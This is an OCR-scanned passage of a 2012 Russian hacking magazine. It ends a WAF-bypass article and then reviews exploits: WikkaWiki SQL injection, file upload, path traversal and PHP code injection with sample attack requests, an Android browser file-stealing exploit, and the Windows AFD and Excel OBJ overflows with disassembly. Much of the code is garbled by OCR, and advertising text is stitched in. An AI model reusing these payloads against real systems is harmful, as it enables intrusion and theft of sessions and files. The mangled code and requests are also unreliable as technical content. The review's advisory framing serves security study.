символы в имена и значения пара метров. Итоги его работы ты

воочию сможешь увидеть на прилагаемом скриншоте.

В качестве доказательства эффективности НРС приведу несколько примеров обхода WAF. 1. ModSecurity. Запрос вида http://loca lhost/?xp_cmdshell блокиру­

ется, а запрос http://localhost/?xpkmdshell-нет. 2. Обход dirtraversal URLScan. Запрос вида http://192.168.2.1 05/

test.asp?file= .. /bIa.txt блокируется, а запрос http://192.168.2.105/ test.asp?fi le=.%./bIa.txt - нет.

Curly bracket is changed with underscore

Curly bracket is changed with underscore

First is ignored whole рагат, second query delimeter

Characters beetwen аггау and equal sign аге ignored

First sign plus converted to underscore, second to space

Flrst space converted to underscore

JSP ignore рагат, ASP ignore value

JSP ignore рагат, ASP ignore ргосеп! sign

JSP include NUlL value in рагат key

JSP include NULL value (п регат key, others ignore after

051

Page 54: Xakep 02_2012

ВЗnОМ/ОБЗОРЭКСПЛОИТОВ Павел Александрович Iivinside.bIogspot.coml

Дмитрий Михайлович 11 1561 2, дер. Красная з вездочка , д . 11

Обзор эксплоитов в нашу нелегкую эпоху буйства компьютерных технологий мы с ра­

достью представляем очередной обзор нашумевших уязвимостей

и сплоитов для них . Как всегда, призываем тебя исп'ользовать их не хулиганства ради, а защиты для!

1 Множественные уязвимости в WikkaWiki

CV SS V2 7.5

••••••••••••••••••• l7IiПD

• •••• [: N/AC: L!AU : N/C: P/I: Р/ А: Р)

В конце ноября была опубликована информация об уязвимостях

в движке WikkaWiki, найденных товарищем Egidio Romano aka EgiX. Что примечательно, на момент публикации уязвимости ещё не были закрыты: исследователь выжидал почти два месяца по ­

сле отправки отчета разработчику, но тот по каким-то причинам

не торопился исправлять баги.

1. SQL-инъекция в операторе UPDATE. Уязвимый код находится в файле /act ions/usersetti ngs/usersettings.php, строки 140-152:

cJ~f"u), t ~jj_j,Dt>чt .i~ ___ ",aHcj ... _. __ _ __ . __________ . _______ .. ________ ._. ___ .. ___ . __ . ____ ._._. __

~this ->.Q\!еI'}'('' ____ . ______ ... _____ .. _._ . ___________ ._._._ .. __ .. _. ___ ... ____ . __ . _ U!'QI\I!; ___ " ,_$tbi.~_c.~Get\:oofigV_<IJue( ' :t.<ltЙ~J>гefjк: )_ ,. :~lJ~er.~.. __ .. _. __ . ______ . ___ ... _ SЕI . .eJ!1<!Н ___ ':О ._ '. " . J11X~Cj),J.е"),3.~с'НJ~_~:t.С:j,оg(~emg.iJ),_::_', ___ ... __ . _____ . ________ ._. __ . ФuQJ,есЦс!<~dJt=' " . my~qlJе<!),3ш!~_:;trij1g($Qо_u_Q),~с.Нсk~..J.1: ).,." " sho.UOl1lТ1e!1ts= :.:' .mysqlJ~aJ_ еsс<!~_stI'tпg($s_~_сoomeпt-~J, ,,_' , ..... . def,!Ul:C с~Г)t_disр1;3У,:о'-'~ •. $dеf<!чJt_сOlll!leГ)1:_cJi.sРlаУ_. '.'. ' . ,. r.еуts;i.Qпщuоt _.':0 ._" ., $re",i~iQIJcou.nt ." , . __ ._. ....... . ____ ... __ . __ .. _._.. ._ .. . chаJJgеsсоvлt--:= .. '.' .• $сЬаJJgЕ!щJvпt. ",-___________________________ . ____ .. ___ . __ .. _____________ . __ . ___ _ t _bE!f11E! .= _' " .l!IY-sCj1Jеаl_е_s_с<!ре_S1:.г;i.!Jg(~уsеr:1:.ЬE!!lJE!J. :'. '_ __ _. ~_ERE п<!me .:= __ _' "_.$use.r[ ' пате' ] • ."_'. __ .. _. ___ ._. _ ._ ... ___ .. _____ .. ____ ._. _______ .. ____ .... _._._._ Ц;МП. l"

)..;. --

при выполнении запроса, содержащегося в зтом коде, мы видим,

что функция mysql_real_escape_string[) предварительно не об­рабатывает пара метр default_comment_display, а значит, мы можем внедрить в него про из вольный SQL-запрос. В некоторы х случаях

нам не удастся изменить содержимое таблицы users, например пароль админа, подвум причинам. Во-первы х, указанный запрос

является многострочным, а во-вторых, последние версии MySQL не поддерживают незакрытые ком менты [коммент, открывающий­ся значками /*, должен всегда оканчиваться значками */ - иначе

052

будет ошибка) . Однако всегда можно выполнить подзапрос и увести идентификаторсессииадмина.Вотпримертакогозапроса:

f'Q$I. Iwikl<аjJJ.~еr_sеt_1;Jщ:_s -':IПi>_О,_ • .1 .... _ ... ____ . _____ ._._. ___ .. __________ . __ _ Но.:;:\:_ : 1p.c_a.lb_p.s1: ____ ._ .... __ .. __ ... ___ ... _ ... _. __ .. _. __ .. ___ . ___ .... _ .......... _ .. _ .... _._._ .. _ ....... . (оо_!< ie : __ .~95.2.?_b217 а8_бе с а8? fб_cJП.Е!f!!.!!с.4с Z.f~=_c 3 u 94_b02.cs 1 u d ij.::!.vц!}!:!.-z.:!.Ар9-- ___ ... __ . _______ ._ . ___ .. ___ ._._ ._. _._._ ... __ ._. __ . ________ . __ . ____ ... _ ._. CO!JtelJt.- L_елgt.Ь .: 1.4~. __ ..... _ _ _ __ .. __ ._ .... _ .... ____ ._ .. _ .... (::.o!J.t;e!Jt -ТУР.Е! : ... аррц'.с"tJоп}х -WW_\II .:fоrm: u.rJеlJсщlеcl._. __ .. _ .. _ .. .. _. СQлпесtiоп;._ .!<e ep -аН\lе .... _._ ... _ .. > ••• _ ••

;! .С;.tJ9п=uр.d<l.1:е&еm,!Ц':Оt.еs t%4~1;e_S.1:. сот&

d.Е!.fачJ.1:_С_ОlJ!шеlJt_ф.sрJ.<!У=' ,Е;!f!I<!Н':О ...

II N L\.I lII1ICFC lII1ICFC lOC_16CFC: IItI6I:FC 88 _ 08 ... :::: 1::r.~J llI16CFF 80 ... 1 и.

11816112 ... - [ •••• 1 ] .... " 1l1li61 . .. ~ ... "".1·»r J 1"'''' 1 ... [.... ]. ое • _. 1' D - ""~ [eDr J 1111601[ ::~:. 1 ., т - .... r.~.':[ ... x. ]. lIИ6I11 7 Short .с 1'" '>-

~ III N 1:0016014 88 7F 20 01 СОР byte ptr [edl +20h ]. 11 80816018 7S 1F jnz s hort loc 16039

~ II N 08016D1А А1 се 13 01 88 " " еах, ds :_1"p_tblUserprobeAddress 00016D1F 88 80 "о еах. [ео1Х]

08016021 39 Jf7 ас С"" [edl+3Ch]. 'ах 00016024 72 06 jb short loc 16D2С

~ ... · ~ I III N 88016026 С1 110 80 08 00 88 "" d",ordptr

f II N W OIJ016D2C ВОО1602С loc_1602C : 0IJО16D2С 88 .. 7 зс ООО lах, [edi+3Ch) 88016D2f 88 08 IOOО есх. [еах] 0ОО16ОЗ1 89 О. ООО [ . ах ] , ее х

88016033 88 48 В4 ООО есх, [Iах+4] 00016036 89 48 84 ООО [еах+4] . есх

i H Уязвимость в функции AfdJoinLeaf

но

ХАКЕР 02/157/2012

Page 55: Xakep 02_2012

( S Е L Е C:r. ... ~.~.:; .sj .. Q!l i .d .f ВQМ ... wJ!sJ~.i;l_:;~:;.:;iQD.S ... WШВI . !Jserid= 'Ш.IsJ,l\ф:пiп: ) ,ttJ.!~J!1~=. . : .... . .... _ ........... .

в том случае, если админ в данный момент залогинен, атакующий

увидит идентификатор его сессии в поле формы UserSettings, пред­назначенном для ввода e-mail'a. Если админ вручную не завершил сеанс работы в системе 'то есть не нажал на Logout!, атакующий сможет использовать номер его сессии, который останется в БД.

Благодаря функции magicQuotesWorkaround, успешная эксплуата­ция даже не требует директивы «magic_quotes_gpc = оН».

2. Загрузка произвольных файлов. Уязвимый код содержится

в файле /actions/files/files .php, строки 266-278:

elsei f (РГ.~~rng:tФС /... + \.. С o.$al)..oweQ_ext!!n~j,.Q!]S, . ' )$Л : , .$J:I:ЦS[ 'filе'J[ 'ЛiJJ1!!!.'])) .

{

$st~iрр~QЛ;J.l!lе .. =. stc~epJiJ.c.~.C'.\ ' , , : ' , ................ . $JIЦSI:.!jJе' ] [ ' пате '1) ; .....

$stripp~q!]iJ.rn!! . = rаwu~lеШ:;9Сj~.($striрреqП.<!.Ю~.)j .. $striрреgЛiJffi~ .. = striрslа.sЬеs.($striрреdШ!ffi~)j.

$dest.fi1e. ;; ... $щ:Йоаd_РiJt.Ь.,.DIВЕЧQRУ_SЕI'I\МIР.R., $s:t.riрреdПiJJ!1~j ..

if (!fiJ.e_e~ists($destfil~).) ... C.. i f СrnQУf,UJр1Qяdеd_Ые($JI.LЕS[ '.file' ] [ ' :\;юр_[щще'],

$d~:;:tfiJ~}){ ...................... . $nоtJ.б!;iJ.tiО.П_!!Isg = 'C( "file was suc!;es.sfully uploa.deq .. " );

} ........................ .

Если в конфиге присутствует пара метр 'INTRANET_MODE' или ата­кующий похитил идентификатор сессии с помощью вышеописанно­

го бага, то он может загрузить на сервер файл сдвойным расширени­

ем, что позволит ему, например, выполнить произвольный РНР-код .

Стоит обратить внимание на переменную $allowed_extensions, в ко­торой определены допустимые типы файлов. Вот как она выглядит:

'g;i f I jpeg.ljp.gljpe IрпgldШ:.!i5)S l.cs\(Jpp.t I.PP.;1;!.PPs IpQt I pdf.I .... a.scl t~tJ~JрJg:t.ягl g;! I Q.z;1!.:t.<IJ:.I г.<!.гl vpplmppjys.d! тт I htm I iJtrnl.: ..

в этом списке присутствуют достаточно редкие расширения, которые

не отражены в МIМЕ-типах конфигурации Apache, например тт, vpp, в результате чего у атакующего появляется возможность выполнить

произвольный РНР-код . Следующий запрос демонстрирует загрузку

файла с именем test.php.mm и содержимым <?php phpinfoll; ?>:

POS.T I.wi.kJ~iJ/t.~.s:tI:iI.ТP /J.o.l ............... . Host: .. 1oc"J .. iJost CPQkie: .Яб.5ДЬ:Ц Z.а6.б.еС.iJ62.f9d72!!f88с4с1.f.4=~рj hs.dd 5~tc-'H Ь5.5gv3.Е11!,!j~.t.З .. .. ................ . с.ол:tелj;. с.L.~лg:t.Ь .: ... 2.51 ..................... . сРп:tе П.t.С TYP~.; .. !!Iu!. Црагt.l.f.QГ.юсqа:tа.j Ьоuпdа ('У.= .:. - .С .- .С .. -. - с . .l5еЗ5..з.~J2.Z .. СоппесЦgд; .. kе~р-аJi.У~. _ .....

- - - - - - - - -.. -J.S.!,!3534127 Сопtепj:.с. Dj,.~.РQS.i.t. i.Оn .: ... f.Qё.Ю.с.d.iJ .ti;l j .. f)а!!lе.=. " .бl.е." j . fil.еl1i;lЮ.е=.::j;.~.:;j; , рl1Р .о тщ': ..... Соп:t~лt.с I.ур~. ; ... iJpp.licatJ..QD.IQc.tet- streaffi ........ ..

<?р.hР ... рhр;iлfQ ().; ? ~ ................................................. .. ------- ~=~ 15e3534127

Сопtеп.t .:.RJsроsJНОf) : .. f.Qгm:dя:tаj лаm.е;;.::чРl.оа.d ': .

i.Jp:!..oad ..... _ ........ - - -- - с - с c .. :J .5.!'!.JsJ.412.7 = с .......

З. Выгрузка произвольных файлов. Интересующий нас код со-

ХАКЕР 02/157/2012

Обзор эксплоитов

Уязвимы й КОД в /handlers/files.xml/files.xml.php

держится в фаЙле/hапdlегs/filеs.хml/filеs.хml.рhр. Ты можешь увидеть его на соответствующем рисунке. Проверка передан­

ного пользователем имени файла производится единственный

раз, в строке 54, и отсекает все файлы, имя которых начинается с точки . Такой прием не помешает атакующему реализовать атаку

типа Path Тгаvегsаl-запрос на скачивание конфигурационного файла движка выглядиттак:

/1.ttp ; / /.local.09s.tL.wikk<l/test/.fi.l.es.., xml?action=download&file=/. '/' ./wikka.config.php

4. Ну и на десерт произвольное выполнение кода. уязвимы�й код

содержится в функции 10gSpaml! файла /Iibs/Wakka.class.php, строки 1315-1343:

fyn.c1;,i,Qn lQgsраm(ЙУРе, $j:ag, $Ь.оdУ.,.kg<lsоn.,$ur1CQ.чо:t,.$щес= ' , ,$time= ' , )

{ ....... ... _ ..... $spiJJ1!l.ogpaJ./J .. = .(isse1;($thi~- ~'(:OD.fil:.[ 'sPiJ1I11Qg_PiJ:tt! '] )}? ..

. . $t;h.i.s .с>.~gлfig[ ' spi;lmJo~pgJb. ' . J. .. ; .ЩСSF'А!1Ч)§],А.П{j . i .f . ($щеr ;;.=. ... '.:J . {

$цsеr .=. $JhJ:; с.>GеtUsегN"шеОj . }

...... i f ($Цте== .. '. : ) . . {

.. { .

$orig~I)Jp ... = '!'!."1.!,!.е : j .. ......... } ....

..el.se .. ..... ,{ ....

... $ог;i.g;i.л;i,р. ;; . $_$ЕRVЕR( 'В.ЕJ1Р.тСАD.RR' ] j ............... .. . ..... .} .

.. .. $l,Ja .= . (:iдg:\;($_$.ЕRVЕR [ 'НТП>_L)$.~fU~~~N.т.' ])) . .J. .... .... '[' . $_$~~\ШН 'fjТJP _USЕ[UIG.ЕJП: ] . ' ] , .. : .' ЛJ' j .

... $J;>ody .. = triш($J:ш.QУ)j ................ . .... $sig .. =. $F'A!1.~Q§_$:):G .. '. ' о $typ~.o . .' ... ' .• $Jirne .. : .... :.0$:\:<;11:.' '

... $qrigirJip, . .' .. С. ' .$щеr. ' ... : . о.$У.а.,' . с . ' ... $re<l.s.Q.IJ.. ' . .. $.l,Jr ).Щl,Jпj;. о"\n" j ....

.. ... $!;on:ten1; .. ': ... $~Jg,$bO!jy .• "\П\I1 "~._ ... retu ('п $thJs c.~"ppen.Qfile ($SРЯ.l!l.lQgР<l1;/1.,.$СQп.t~.n.t)j

} ....

Если в конфиге включена опция spamJogging, то атакующий сможет внедрить произвольный РНР-код в файл, заданный в переменной

$spamlogpath [по умолчанию ./spamlog.txt.php! через элемент массива $_SERVER[ 'НПР _USER_AGENT' ]. Запрос, иллюстрирующий

053

Page 56: Xakep 02_2012

ВЭЛОМ/ОБ30РЭКСПЛОИТОВ

вышесказанное:

"О5] jwikk.<!/t.е:;J f,нjQ.~.Оl!ll))~n.t ... I:!JП)f:l, ,.;1. Hos1;: 1 .Q~.altJ.Q~J ........... _........................ ... . ............................ . Cookie: 9б522.1:1417.<!.!!.бJ~.~jJ!!.zfб.d72,.еf88с4с7.f4.:'бJJJJ!~J!.У.еfб.4.Z .. Oqj а\iе~fпр!;!З ...................................... . User-Agen:t : ... ~Iрl).р .. рJlPJлf.QОj ... ~~ .. . Contellt.- Length.: ... 41....... . . ................ . c.ontent - Туре: ... аР.р.ц.!; .<!ц'OJ!j~.= .w\'l.w.-fОгl1J c.u rJe Ilc.ode.Q .. connection: . k.eep.-. a~.i\i.e...... . ............... . body=foo&su!:>I1J.it.:,M.Q.±.c.QI1J.m~n:t ... _ .. _ ................................ _

·'·j;J1jf1 WikkaWiki<= 1.3.2.

f1·)!ljj('H' Установить обновления Wikka 1 .3.2-р7.

2 Кража данных с аппаратов на пnатформе Апdгоid

CVSSV2 4.3

••••••••••• ••••••• • •• [AV: N/ АС: М/ Au: N/C :P/I: N/ А: N!

Ш1П Быстро растущая популярность ОС Android привлекает внимание хакерско го сообщества . В ней регулярно на ходят различного рода

багибезопасности.СегодняречьпоЙдетобуязвимости,благодаря

которой атакующий может получить содержимое любого файла

сустройства подАпdгоid.

Уязвимость обусловлена несколькими факторами:

1. Стандартный браузер в Android в некоторых случаях не оповеща­ет пользователя о скачивании файла .

2. С помощью специального JаvаSсгiрt-кода можно заставить брау­

зер открыть любой файл, хранящийся в памяти устройства. З . С помощью специального JаvаSсг i рt-кода можно получить со-

держи мое л юбого локального файла .

Эксплоит, которому на Exploit DВ присвоен номер 18164, действует в несколько эта пов . На нулевом этапе пользователю предлагается

пройти по вредоносной ссылке:

function stаgее($.S.Р:,JрtщJ.J ... с. ................. . echo " <.Ь>Ап.dгоiQ ... ~ ... 2" .. З .. 4< /Ь> <br >Data 51;ei31ing. .. W.eP .... .

Page< Ьг > < br>O.ic.K.: .. _<<! .... o.ref.=\ .. $. S.C r .i .ptur:J. ~.st.яgе.,,:J..\' ~~ ... . MaliciQus Liпk<jа >.~'. j .......... . }

Первый этап - редирект пользователя на страничку с вредоносным

JаvаSсгiрt-кодом, который без ведома пользователя скачивается

при помощи контент-провайдера соm.апdгоid.htmlfilергоvidег:

function sti;Jgel.C$.:;.!;rip:t.yrl ) .. .{ . echo " < ЬоdУ ... олlоаQ.=-"~'.sе:t1iI)).еQUt.(' wi.ndОW .. 1.QЧltJQО ..

=\ ' $sc.riptu.rl? st.age.=2,.~'.' .. , :J..eee)j s.e:tJim.eQ!Jt. С '.wiл.Q.Q.w .•...... lОС. i3.tiоп= \'.С.QлtеJJ.t.;. I.I.С.Q.I1J .•. iНtQrP.i.d .. htmlfi.lерги!iQ.ех:I. .... _ ...... . sQC"rd/do\'ln1..QaQL.PQ!;.,.bt.I!1J\~ ~ , ... 2e~eJ; \" ) " ; ........... _ .............. . } ...... ................... .. . .................. - ............ .

Второй этап - выполнение вредоносного JаvаSсгiрt-кода на ло­

кальном устройстве и получение требуемых файлов . Вредонос­

ный код смотри на соответствующем рисунке.

Трети й этап - загрузка файлов на удаленн ы й сервер:

fuщц.оп .. stage;\O .... {... .... _ .... _......... ...... . ...................... _ .. _ ........ _ ......... . $fp = fop.elJ.CtiJ.e:;,.txt.:~ , .. ~~.\'I ~~ .) Qr .. .... .. _._ ..... _ ......... . ф.еС'.С.QuJdл'. :t. .. Qр.еД .. tiJ.е . fQГ . \'IritJng! .~' )j .............. _ ................ .

fwr.i Ье(Нр., ... pri nt_r ($ _pQST, .. ТlщЕ» ... ос .................... . .... diе.ССQJ,I':!"Qд' .t writ.e da.t<! tQ .. fiJe.!." .); ..................... .

fсlще($.fр); ...... . ......................... . echQ . "О'ФJ ... урJ.Qi!.Q.еd . .to <а href.=\,'.ijle.S •. t.~.t'l..'~.~fiJe~ • .tllt ~j<! > !" j ..

} ......... .

Апdгоid < 2.3.4 .

1. Отключить JavaScript в стандартном браузере. 2. Использовать альтернативный браузер.

3 MS11-080: повыwение привиnегий с помощыо уязвимости В драйвере AFD

CVSSV2 7.2

••••••••••••••••••• Ш1П

•••• IAV: L/ АС: L/ Au: N/C :(/1:(/ А :С!

Уязвимость, позволяющая получить системные привилегии при

исполнении кода налокальной системе, была обнаруженатовари­

щем Во Zhou. Эта уязвимость, скрывающаяся в недрах драйвера afd . sys lапсillагу fuгтсtiоп driver!, обусловлена неправильной проверкой входны х данных, передаваемых в режим ядра из режима пользова­

теля. В случае успешной зксплуатации этой уязвимости локальный

атакующий получает возможность выполнить произвольный код и,

соответственно, добиться полного контроля над системой.

Драйвер afd.sys представляет собой прослойку между драйвером TCP/IP-стека tcpip.sys и библиотекой пользо­вательского уровня Winsock. Он регистрируется как NPI­провайдер и предоставляет доступ к сокетам режима ядра

Wiпsосk Kernel [WSK!.

Уязвимость сокрыта в функции AfdJoinLeaf. В ходе ее анализа выяснилось, что она может получить уп равление в случае, если

в драйвер afd приходит IOCTL с кодом Ох120ЬЬ :

PAG.EAFD';.e.e.f1 :!.J~1..(4 .. rn.Qv.... . .. [e.dxt l ] ,. Ql .............................. . РАщАfо.: .ее~;J,6.зд .... {IIQу ....... еs.l .,_МdIГРСi!JJД;i.sр<!t.<;ЛlеsJ.J.

; . е~л.и .. IQО1 .. с...Щ/J,ом .. ~Хl?еI;ФJ ... :Г9 .. е.~i ... ':': ... еl(J2n(t .... РАGЕI\FD:.е~Щ.[!JCI). tеst esi, esi .... .... . ............ . PAG~Af.D : ееЩ.6JСf jz loc_21AFJ... . .............. _ ................ . РАGЕАFD. : е(tе:J..В1D5. call esi j саЦ AfQJ9;i.IJ.LJ~.ilf .. _ ....... .

· data: еееl,Щ!8 _Mdlrp.CallDispatch dd .off.;;.et .. @Afgj~J[Jq@6 · dat;a : еееЦ:J,6!;! ..... , ОАТА. XREF: АfdDisраt.сhD.е\iiс;е.С.оп:tгоl(~J х)

.data: eee121B8 . J (lfdBind( x,x).. . ......................... .

· data: еееlzце .... ро .. offset .. @АfdJо.iп~еi!.f@.е .................. . AfdJQinLeafC~.,. x )...... . .................................. .

Чтобы мы могли добраться до уязвимого базового блока , должно

быть выполнено несколько требований:

• размер входного буфера должен быть больше Ох18;

• размер выходного буфера должен быть равен О ;

• четвертый DWORD во входном буфере должен быть равен ОхОООООО01;

• значение WORD'a по адресу [входной буфер + Ох34], увеличенное на 8, должно быть меньше или равно [размер входного буфера­Ох С]

ХАКЕР 02/157/2012

Page 57: Xakep 02_2012

ВреАОНОСН ый JavaScri рl-КОААЛЯ Алdгоid

PAG~ : _~I')_e1_6C1D ___ m()у еРх. __ eiJ_)\_ ; YKi!?aTenb на IRI'_ StacK PAGE : 1')_1')~16C1F _mQv __ [ebptlrp]4 есх ~ __ есх п.аJ<еr IRP PAGE ;ШШ_16.С22 _ )\QC esi, __ es;i __ PAG_~ : ~e~16C24 1!19У .[ ebp+v.ar _213], es;i PAGE: l')~e16C27 _I!I9У [ebp+P]4 ___ esi PAGE; ~~e16C2A _ !I1()Y ei!x,Cebx+8] ; _ Р9_,н.,ер BXOA!:i_Qr() буфеRi'! __ PAGE :Jjl')e16C2[) ___ ~_mp __ еах, ___ :lдtt ~ ДОЛЖен ___ быть б~ЩеЦl_е еХ18 _____ _ PAGE_: 1')<\\Ц6СЗ~ ___ j)J ___ ~oc_17eI~ _

PAGE: еее16СЗ6 . __ I!IОУ edx, JebX+4] ; _ Ri'!3MeP BbIXQAI:t0rO БУФеR_а

PAGE: еее16СЗ9 __ !;I!IР. edx, esJ _~ должен. __ быть ==_ ~_

PAGE: е~_е16СЗВ __ jz _ short 10с_16С46

Теперь необходимо записать наши данные в выходной буфер

IRP. Для осуществления этой затеи нужно вызвать функцию AfdRestartJoin в базовом блоке по адресу OxOOOl6f54 . В итоге это при ведет к вызову функци И AfdConnectApcKernel Routine, которая попытается записать NTSTATUS-KOA в выходной буфер IRP Iв на­шем случае код равен ОхСООО0207). Записав в буфер значение ОхСООО0207 без учета выра вниван ия, м ы сможем вызывать наш

шелл-код в пространстве пользователя по адресу ОхОО0207хх.

I,,';I'I{' Windows ХР Service Pack 3; Windows ХР Professional х64 Edition Service Pack 2, Windows Server 2003 Service Pack 2, Windows Server 2003 х64 Edition Service Pack 2, Windows Server 2003 SP2 для Itanium­Ьаsеd-систем.

Существует обновление, устра няющее эту уязвимость .

, Уязвимость MS11-038 в Microsoft Office Excel, возникающая при обработке записи

OBJ и приводящая к перепоnнению буфера

CVSSV2 9.3

••••••••••••••••••• IШПП

••• [AV: N/ АС : М/ Аи: N/C :C/I: С/ А :С)

Для использования этой уязвимости атакующий должен за­

стави ть пользователя открыть специальным образом сформиро-

ХАКЕР 02 /157/2012

WEXLER.BOOK Е5001

«МЕТРО 2033» ДМИТРИЯ ГЛУХОВСКОro и ЕЩ~ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

КОМФОРТНОЕ ЧТЕНИЕ

СТИЛЬНЫЙ ГАДЖЕТ

liI ЭКРАН 5" li1 :::::'~/НИЕВЫЙ l1li РАДИО И МР3 • W КОЖАНЫЙ ЧЕХОЛ W • ИГРЫ БИБЛИОТЕКА CJ ~:~~k~C. 11 ЭЛЕКТРОННАЯ а + ... .~~~E 200 тыс. ПОДЗАРЯДКИ

• ф WeXLer: • www.wexler.ru М.Ш"''§Щ! ТЕЛЕФОН ГОРЯЧЕЙ линии: 8 (800) 200 9б БО

Page 58: Xakep 02_2012

ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

ванный хls-фаЙл. В результате у атакующего появится воз­

можность выполнить произвольный код на локальной машине

с правами пользователя, запустившего уязвимое приложение.

'!34!']" Запись OBJ в Excel определяеттакие объекты, как Liпе, Rectangular, элементуправления CheckBox и т. д. Существуют

разные типы ОВJ-записей, отличающиеся дочерними записями .

Структура дочерних записей идентична структуре файлов фор­

мата BIFF. Это означает, что первые два байта представляют собой

идентификаторы дочерней записи, следующие два байта указы­

вают размер данных, а далее следуют сами данные. При ведем

список возможн ых дочерн их записей:

Дочерняя запись .......... .зJ!!'!':(е.tше Описание ........................... . .. . ftЕлd.... .. .................. ~h .................. КQнец . QВJ-~апl'tс:I1 .................................. . (;!арезер'Вl1р.о.В<JНJ;» ....... ~;J.Ь............. .. .. .... .. ....................................... .. .(Jарез.ервированр) ...... jj.~h.... .. ............................ _. (3аре~еРВИРQваI:Ю) ...... ~Jb.................. ................. . ftf1,lCro.. _ ...... JMb ........ _ ....... ...Fm1a-stуk. m<Jсrо .............................. . i't.Butt.oГl ................ ~.~.b ................. !;QIIII1al1d .. Ьut1;9Л ....... _ ............... .. f1;Gmo ................... ~Rb .................... GrQIJP .. marke.r ....................... .. ftCf .................. fJ.?lJ .................. !;Jjpt>oar.9. forma:t .............................. . fj:PiqGrbi:t ........... ~I!Jl .......... .Pi.cture орЦоп JJgg~ ........... _ ..... . t,tl'ictFmla ................... E.'I2Ь ................... pic.ture fmla~~t~ile П1асг.9_ ........... .. ftCbls ................. fJAt! .................. 'cbec.k ... bo>$link ................................. .

.... 8~.b ................... Radio . button ftRt:,o ftSbs ................ ОСЬ ................. _. ScrQll Ьаг:

ftNts .............................. ~P..b_ ................ Note .. str:uctur.e ................................... . ftSbsFmla ..... _ ......... щh .................... sс:rQц .Ьаг: .. fml.а с.s:t;уJе_.]!1iю:'.Q ...... .. ftGboData ...... fJ.F.h ... _ .... _ ...... .GTojJP. p9xdata ..................................... . ftEdoData .. _ ............... J~.b .................. JJJ,i,t .. солtr:'Ql .. d.<ltа .......... _ .............. .. ftRboD<Jta ................... .1ц1 ................. R<Jd,i,Q Ьuttол .da1;.<I . .. ...................... _ ftcl:>lsQatiJ ................... 12h ................... Check Ьох da:ta ............................. .. ftLbsDat<l . ... :l.3b ................. Цs1; .. Ь.ох Qata ........................ . ftCblsFmla ftCmo

14h ...... C.becJ~ JЮ>$J,iJlk .fт1а.-.stуlе. .. шаИ9 ...... :!.5Ь .... _ ..... ...... да.нные объеКТ.а . .. .......................... ..

Первой всегда идет дочерняя запись ftCmo, а последней - ftEnd. Перечислим также поля подзаписи ftCmo:

Смещение ........ иr1f! . J1.QI)в. ......... f'.а.~меR .... с,одержимое ........................................ . fJ ft ............... ~ ....... _ ....... =.ftCI1JQ .( :).S!1) ................................. .. 2 .С.I:> _ .................... ~ .............. I'.азМеR .. данНЬ,l,х ..f:!:,C!!lQ ...................... . 4 ...... Q:t; ......... _ .............. ~ ............. J!1Л .. О.t1ъе.кта .............. _ ........................ . R . . :i..с! ........................ ~ ................ Иде-':!тифиК.<!п>рJQ .QРъ.еы.а ......... .. 8 .. gr.bi:t .............. _z ............... РлциоtjалЬtiые .фmН:и. __ ..... _ .......... . 14 .. _ .. ,(R.eser.y.e.Q) ..... ;1,Z ............ ~аре~ерВи.роВ.аНQ; .. дQIJ)I\нQ ,,".7 ... ~ ..

Значения в функции sub_30164E23, относящиеся кдочерней записи, сохраняются в буфере. Далее, как следует из кода,

выполняется обработка дочерней записи. Одной из функций,

участвующих в обработ ке, является функция sub_3012FABC:

· t.e~:t: ЗЩ2F,lI,Ц! ...... .!!I.оУ. ............ е.Ф" .. [ebp+a.rg_~J .. •. te.1<t: зщ2FАсВ .......... >фс ............ е.si, .. esi ..... .. .......................................... . · t .e?<:t : .з8цf..!'Iсl2 ........ c.!!Ip._ ......... dWor:-d_з87ЕlFВ4, . e.s.i ......................... . • text: щl.цАD.з ......... тQУ. ........... eJ:))5,. [.еФ. -/:!5 1

. ' te.x1; :з812.FАQR ....... ]!1оу ........... [.еЬр±у.аг: _4J, esi .......... .. • :te>$t: зщ2F,lI,D.9. ......... шQУ ............ Jе.Ьр.+Уаr _ 4С], . esi .............................. .. · text.: ЗjjJ,2fА.QC ....... 1)]9\1 ........... .[ еЬР.±уас4В], .. esi..... .... . ................... . · tехt:З~12F.АDF . mоv ............. [.ЕфР.+vаr _ 44], J!si . tехt:.З81ЦАЕ2 .... )I),QY. .......... ,[eJ>R±Y<Jr 38.], esi ..... .. .. text : Зjj12F.ДЕ5 ....... j!'! ............... l.Q~_зjj27.48],8.

· text : .З812FА):1;!, .. СП1R ........... dwрr.d_З87DВ7А4, esi ........................... __ · tex1; : JЩ2FДFl .. .jrK ....... shoT1;. 10с_З812FАFВ

056

.' te.xt : .:щl,д.АЕз .......... сI1JQ ........... .еЬ1<4 . esi ........................................ . .. 1;ехt;з.~1.ц.8Е.2 ........ jпz ....... lщ_з~1д2~.3 ...................................... ..

..,tex:t :.з.8Ц.729.2 ....... Qli~h .. __ dwol"d P.tl" jeb.xt41 ........ __ ... .. .:tех:t; .:зi'ц:z.~~R ..... __ .. ~aJJ ....... 5uЬ_з81272бз ................................. .

в первой строке дизассемблернога листин га происходит копиро­

вание адреса буфера, содержащего записи ftCmo, в регистр edi. Затем в еЬх копируется значение по смещению Ох6 в этом

буфе-ре. Еслиты обратил внимание на CTPYKTypyftCmo, тодолжен был заметить, что, начиная с этого офсета, 12 байт резервируют­ся. Поэтому результат, который копируется в еЬх, представляет

собой первые четыре байта зарезервированного значения.

Если ты посмотришь на последующий код, то увидишь, что

по адресу Ох30127293 значение контролируемого нами регистра

еЬх+4 заносится в стек . Впоследствии оно используется в каче­

стве аргумента функции sub_30127263. На этом шаге фактически и возникает уязвимость, поскольку никаких проверок то го , до­

пустимо ли значение для еЬх, не пр оводится . Фун кция su Ь_30 127263 прибавляет к значению аргумента

(которое мы контролируем! Ох10 и передаетрезультатв функцию MSO_B04.

